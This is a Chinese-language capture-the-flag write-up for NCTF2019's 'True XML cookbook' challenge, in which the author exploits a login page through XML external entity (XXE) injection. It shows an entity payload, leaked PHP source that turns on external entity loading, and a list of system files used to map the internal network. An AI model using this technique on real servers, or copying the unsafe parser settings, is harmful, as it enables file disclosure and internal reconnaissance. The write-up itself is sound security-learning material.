[NCTF2019] True XML cookbook

发布于 2021-08-06  59 次阅读


知识点

内网ip的几个文件:/etc/hosts,/proc/net/arp,/proc/net/fib_trie
XXE能够攻击内网

解题

image-20210103112649818

打开题目 是一个 登录框 ,首先想到的是sql注入(万能密码)和扫目录,先尝试扫目录

image-20210103113542821

没啥有用信息,尝试sql注入

image-20210103113004181
image-20210103113020970

测试了很多数据,都不能成功

查看源码

image-20210103113129174

有惊喜,他竟然把登录判读写到了源码里面,结合题目所给的信息,应该是XXE-实体注入

抓取数据包

image-20210103113714767

修改为XXE的实体

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE hack [
<!ENTITY file SYSTEM "">
]>
<user>
<username>&file;</username>
<password>hack</password>
</user>

读取一下当前页面源码

image-20210103114152451
<?php
/**
* autor: c0ny1
* date: 2018-2-7
*/

$USERNAME = 'admin'; //账号
$PASSWORD = '024b87931a03f738fff6693ce0a78c88'; //密码
$result = null;

libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');

try{
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);

$username = $creds->username;
$password = $creds->password;

if($username == $USERNAME && $password == $PASSWORD){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
}else{
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
}
}catch(Exception $e){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}

header('Content-Type: text/html; charset=utf-8');
echo $result;
?>
image-20210103114437796

用正确账号密码登陆 一下 发现 毫无 意义,思路还是要回到xxe上,这里 开始 我就 不会了,通过看别人的博客,发现XXE竟然可以打内网,

image-20210103115947661

我这里 没有扫到 和别人博客一样的存活主机,

image-20210103125410930

查看路由发现了一个主机

image-20210103125706586

爆破ip得到flag